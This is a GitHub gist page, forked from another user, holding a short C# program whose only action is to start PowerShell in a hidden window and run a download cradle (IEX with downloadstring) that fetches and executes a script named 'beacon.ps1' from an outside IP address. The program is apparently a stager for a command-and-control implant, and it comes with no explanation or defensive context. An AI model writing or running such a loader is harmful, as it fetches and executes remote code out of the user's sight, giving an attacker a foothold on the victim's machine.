Skip to content

Instantly share code, notes, and snippets.

@sengkyaut
Forked from peewpw/Program.cs
Created December 6, 2017 18:22
Show Gist options
  • Save sengkyaut/67f0a8cd12bf558fa68f51285dfc3b31 to your computer and use it in GitHub Desktop.
Save sengkyaut/67f0a8cd12bf558fa68f51285dfc3b31 to your computer and use it in GitHub Desktop.
using System;
using System.Diagnostics;
namespace peewpw
{
static class Program
{
[STAThread]
static void Main()
{
Process process = new Process();
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "-c \"IEX((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\"";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment